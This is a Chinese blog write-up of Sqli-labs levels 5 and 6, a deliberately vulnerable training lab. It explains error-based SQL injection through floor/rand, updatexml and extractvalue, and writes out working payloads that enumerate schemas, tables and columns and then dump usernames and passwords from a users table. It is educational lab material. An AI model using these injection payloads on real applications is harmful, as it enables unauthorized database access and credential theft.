• Sqli-labs-第五关详解


    Less_5-6

    按照之前的套路,发现在输入id=1'时页面报错但却无法用order by and union进行下一步

    原来要用到新的知识:报错注入

    (1). 通过floor报错

    and (select 1 from (select count(*),concat((payload) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)

    其中payload为你要插入的SQL语句需要注意的是该语句将 输出字符长度限制为64个字符

    (2). 通过updatexml报错

    and updatexml(1,payload,1)

    同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

    (3). 通过ExtractValue报错

    and extractvalue(1, payload)

    输出字符有长度限制,最长32位。

    然后就构造payload

    Select group_concat(schema_name) from information_schema.schemata 找数据库

    Select group_concat(table_name) from information_schema.tables where table_schema='security'

    Select group_concat(column_name) from information_schema.columns where table_name='users'

    但在最后爆破数据时发现用group_concat不行,提示超过一行,所以改用limit来显示

    但select 一次用户名,再select一次密码好麻烦,所以用concat_ws()函数可以显示多个字段或者concat()也可以

    Select concat_ws(0x3a,username,password) from users limit 0,1(找下一个就改成limit 1,1,以此类推

    Less-6 和第5关一样 只不过将单引号换成了双引号

    这里就直接显示结果了

     

    ?id=1" and (select 1 from (select count(*),concat((Select concat_ws(0x3a,username,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

  • 相关阅读:
    一文快速入门分库分表(必修课)
    MySql分库分表与分区的区别和思考
    常用分库分表方案汇总
    分区分表分库
    MySQL分区和分表
    MySQL的聚集索引和非聚集索引
    PHP大文件上传支持断点上传组件
    PHP大文件上传支持断点上传工具
    Nginx大文件上传支持断点上传
    百度WebUploader大文件上传支持断点上传
  • 原文地址:https://www.cnblogs.com/cxl862002755/p/13150151.html
Copyright © 2020-2023  润新知